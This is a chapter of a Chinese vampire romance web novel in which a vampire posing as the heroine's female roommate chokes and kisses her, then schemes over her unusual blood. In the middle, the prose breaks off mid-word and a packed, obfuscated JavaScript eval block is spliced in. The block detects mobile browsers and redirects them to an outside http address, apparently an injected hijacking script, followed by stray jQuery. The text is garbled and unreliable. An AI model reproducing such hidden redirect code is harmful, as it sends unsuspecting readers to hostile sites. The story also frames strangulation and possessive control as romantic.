月光从窗帘的缝隙洒入房间。
伏夏能感受到洒落在皮肤上的呼吸,垂下眼,能看见谢凛白得发光的皮肤。
谢凛实在长得漂亮,眼睫像是展开的蝶翼,浓密卷翘。视线下移,可以看见大片肌肤暴露在纯白的真丝睡衣之外。
加上谢凛身上独有的馥郁香气萦绕在鼻尖,让伏夏再次产生了眩晕感。
听见舍友在哭后,爬到人家身上舔掉脸上的眼泪……正常人会这样做吗?
谢凛的性取向正常吗?
伏夏有点不好的预感,感觉更晕了。
她推了推身上的谢凛:“你能先起来吗?我快呼吸不过来了。”
谢凛看着纤细,但压在身上和座小山一样,让伏夏有些喘不过气。
漂亮的少女倒是没拒绝,她轻巧地从伏夏的身上翻了下去,就在床边跪坐下来。
谢凛在床边撑着脸问:“姐姐做了什么样的梦,告诉我吧?”
“没什么,就是梦到我被裴妄追杀,然后……”
伏夏顿住。
那种恐怖又沾染了些许情色意味的梦境,似乎并不适合向他人讲述。
于是她篡改了一部分内容,轻声说:“然后他死了,我被警察抓走坐牢。”
室内安静了一会儿。
“原来是在害怕这个呀……”谢凛撑着脸,笑眯眯地说,“姐姐放心好了,他们都没死,不会把你抓走的。”
吸血鬼可没那么容易死。
就算浑身的血都流光了,只要吸食足够的血液,都能修复好自己。
更何况还是裴妄那样的怪物。
“不过那家伙确实睚眦必报,盯上你绝对不会放手的,姐姐还是要做好准备哦。”
本来就没睡好,伏夏现在更焦虑了:“那我该怎么办?”
她不可能退学。
先不说洛伦兹学院有着最好的教学资源和高额的奖学金。伏夏入学的时候签了合同,她不像前一任舍友有着还算不错的家庭,无法负担高昂的违约金。
她只是个普通的高中生,为什么会掺和进这种事情里?
谢凛幽幽开口:“姐姐。”
谢凛说,她和裴妄从小就认识。
不过后者几年前做了件错事,让她家损失惨重,因此谢凛很讨厌他。
“我知道那个蠢货是什么样的家伙,喜欢什么样的东西,以及转到日间部想做什么……”
伏夏想,所以他们其实是青梅竹马的关系。
但是得多大的仇恨,才能毫不犹豫地挥起棒球棍把人打晕?
“姐姐不想卷入事端,对吗?”谢凛轻轻说,“我可以帮你,不过你得听我的。”
伏夏看向她。
跪坐在床边的少女身上笼罩了一层月色,为她平添了几分圣洁感,像是云端走下的天使。
漂亮的让人移不开视线。
同为夜间部的学生……就算谢凛喜欢女生,那也比裴妄好太多了。
如果谢凛愿意帮助自己,那应该还是有救的——就算是死,应该也能留个全尸。
伏夏心里燃起希望:“所以,我该怎么做?”
谢凛撑起身。
她的动作很慢,慢慢站起来的时候,竟然让伏夏产生了一丝压迫感。
她看见谢凛偏了偏头:“但是,姐姐真的有好好听我说话吗?”
一股寒意爬上伏夏的后背。
站起身的少女抚摸她的脸颊,最开始的力道很温柔,但逐渐的,力道加大、动作反复。
伏夏一别开脸就被强硬地掰回来,她甚至怀疑自己的脸被擦破了。
“我听了……呃。”
在伏夏开口的下一秒,那只手缓慢下移,落在了她的脖子上。
谢凛的手很大,单是一只手就能覆盖自己的颈部,掌心是和戒指一样冰冷的温度。
伏夏有些茫然地看向谢凛。
天使般的少女唇角的弧度稍稍落下,声音也带了几分冷意:“我不是说了,只要姐姐你陪我玩,我就会保护你的吗?”
…谢凛的手在收紧。
伏夏意识到这一点,她抬手试图将谢凛的手掰开,但后者的力气大到惊人,她的呼吸逐渐变得困难起来。
那双黑色的眼眸中溢满了阴郁,谢凛死死盯着伏夏,似乎很不满意她的表现。
……要死了。
她为什么要忽然这样?
空气一点点被剥夺,在伏夏即将窒息的下一秒,谢凛松开了手。
空气重新回归,伏夏猛地咳嗽起来,但下一秒又被谢凛按住肩膀,压回床上。
谢凛俯下身亲了亲她的唇角,轻声说:“姐姐,我喜欢听话的人。”
“所以下次可不能这样了哦。”
……
谢凛发完疯之后又抱着伏夏道歉,说自己有时候控制不住自己,然后黏糊糊地亲了一会儿。
伏夏也没敢问到底要怎么样才能避免被裴妄追杀,被亲就被亲吧,就当是被小猫小狗舔了一遍。
今天一天经历了那么多,遇上了好几次死亡威胁,伏夏觉得的情绪已经稳定到世界毁灭也能欣然应对了。
……要是能现在毁灭也挺好的。
她的生活因为这些有钱人的闯入已经开始变得糟糕了起来。
伏夏确定,自己遇到了两个神经病。
谢凛只是表面看起来正常,实际上可能是个控制欲极强的地雷系变态狂。
不过为了第二天还有精力应对突发状况,伏夏强迫自己入睡。
这次倒是没再做噩梦,一觉睡到了自然醒。
她的生物钟是六点半。
洛伦兹的第一节课时间是九点,作为特招生,伏夏习惯起来去教室或者图书馆自习一会儿。
今天,伏夏醒来后盯着宿舍的天花板发了好一会儿呆。
这些有钱人难道是童年过得太顺风顺水,所以扭曲到要在她这样的穷人身上找寻刺激吗?
最可恶的是,她没有任何反制措施。
伏夏闭了闭眼。
没事的,都从那样的家庭里走出来了,不会有什么比嫁给老二十岁的男人换彩礼、还要不断的被继弟吸血更糟糕的事情了。
如果谢凛真的对她有什么诡异想法的话……起码她有钱,还长得很漂亮。
想到这里,伏夏看了眼在旁边单人床上睡觉的黑发少女。
或许是从夜间部刚转过来,谢凛的作息还没有完全调整过来。
她的呼吸很浅,胸前几乎没有起伏。
睡颜恬静的像是天使,看不出昨晚忽然发疯的样子。
……她长得太好看了,好看到让人能够原谅她做过的一切。
伏夏意识到自己盯着谢凛太久,她飞快眨眨眼,在对方醒来前移开了视线。
虽然昨晚发生了那样奇怪的事情,但伏夏也不能对谢凛做什么,她轻手轻脚地换好衣服,再迅速地洗漱完。
伏夏满心都在快点出门上 并没有注意到床上的谢凛已经睁开了眼,静静地看着她走出了房间。
在宿舍门关上的几分钟后,谢凛撑起身。
他的表情堪称冷漠,动作随意地换下真丝睡裙,将它随意地扔在地上,光着脚走到了衣柜边。
如果伏夏还在宿舍,就能看见谢凛换衣服的样子。
少年的身材颀长,长发被随手扎起,那张雌雄莫辨的脸还没有化妆就足够精致,系在颈部的黑色项圈被取了下来,喉结的弧度明显到绝对不会被人认为是女生。
谢凛站在那些漂亮的小裙子前细细挑选,最后选定了一条暗红色的裙子。
在给自己换上裙子以后,谢凛走到了垃圾桶边。
垃圾桶里扔着几张沾血的纸。
那是昨天晚上伏夏回来时擦伤口留下的。
谢凛低着头,盯着上面的血迹许久。
昨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362826|168091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天在案发现场,同类血液的气味覆盖住了伏夏的气味,再加上裴妄那个家伙舔了她的伤口,卷走了溢出的血液,谢凛没能第一时间发现。
——她很香,非常。
作为活了很久的血族,谢凛已经很久没有没有嗅到过这样的味道。
而且昨晚亲近她的时候,他能清楚地感觉到自己凝滞的血液沸腾起来。
每一个细胞都在叫嚣着咬断她的脖子,吸光她的血,把她完完全全吃进肚子里。
可惜,如果施加过度的恐惧,她可能会不顾一切的逃跑。
人类是很胆小的生物,他们对认知以外的事物缺乏足够的勇气,谢凛决定慢慢让她了解另一个世界。
不过现在……他饿了。
喉结上下滚动,在谢凛思考是否要捡起垃圾桶里的纸时,窗户被敲了两下。
他有些可惜,转身坐回了桌前。
几秒过后,宿舍的窗户被从外面打开,一道身影轻巧地跳了进来。
青年穿着夜行服,勾勒出劲瘦的腰身,他的面上戴着面具,全身上下被遮得严严实实,确保自己不会被阳光照射到。
“顶着太阳来送吃的,不给我点好处吗?”
那人扔过来两袋暗红色的血包,谢凛没有回头,随手一抬就接住了。
谢凛张嘴,尖锐的獠牙刺破血包。
他想着昨晚伏夏被压在床上哭的样子,喝血的速度都比往常快了不少。
……本来以为只是个普通的人类。
真可爱啊,做宠物正正好好。
来者不知道谢凛在想什么,也不介意他的冷漠,往桌边一靠,开始环视室内。
他嫌弃道:“怎么住在这种寒酸的地方?”
谢凛用一分钟时间喝完了两包血,他舔掉唇角沾染的血迹,掀起眼帘看向夜行服青年。
“没让你住。”
青年语气嫌恶:“你非得穿这样的衣服?”
谢凛扔掉血包,涂上口红:“不想看自己把眼睛挖掉。”
青年哕了一声:“过了这么久还是受不了你这个恶心的癖好……不管了,你怎么想的?要掺和进这件事里?”
谢凛和裴妄并不是莫名其妙从夜间部转到日间部的——
始祖临死前留下了遗言。
他选定了一名人类,只有先得到她的爱,后献上她的心脏,才能继承始祖的权柄。
近年来,血族内部的斗争越来越严重。
几大亲王觊觎始祖的权柄许久,现在还有血族在观望,再过段时间,估计场面就要乱了。
“这可是个大热闹,”谢凛撑着脸颊,指尖在脸侧轻轻点着,注视着镜中的自己,“我怎么能错过呢?”
夜行服青年:“我还以为你和你哥一样,对始祖的遗产不感兴趣,毕竟你们连狩猎日都不参加。”
谢凛挑眉。
青年:“也行,不都说近水楼台先得月。那个人类很合你胃口?”
“怎么说呢?普通又胆小……”谢凛忽然想到她被自己掐着脖子时泛红的眼尾,“……嗯,挺可爱的小宠物。”
这段时间,他会很有耐心地对待她的。
青年意识到谢凛又有点犯病,警告道:“别忘记执行官盯着,别越界,失手把她杀了你就完蛋了。”
谢凛耸耸肩。
“啊,对了。她的血似乎有点特殊。”
裴妄是非常敏锐的血族,他的战斗力在亲王中排的上前几,否则也不会对谢凛的家系造成威胁。
按常理来说,在谢凛挥动棒球棍的那个瞬间,裴妄就能注意到身后有人接近。
但他没有。
裴妄似乎完全沉醉在伏夏的血液里,不论是反应速度还是敏锐程度都大幅度削减,这对裴妄这样有着众多敌人的血族来说是致命的。
像是想到什么有趣的事情,谢凛唇角的笑意逐渐扩大:“不如,让裴妄先喜欢上她吧?”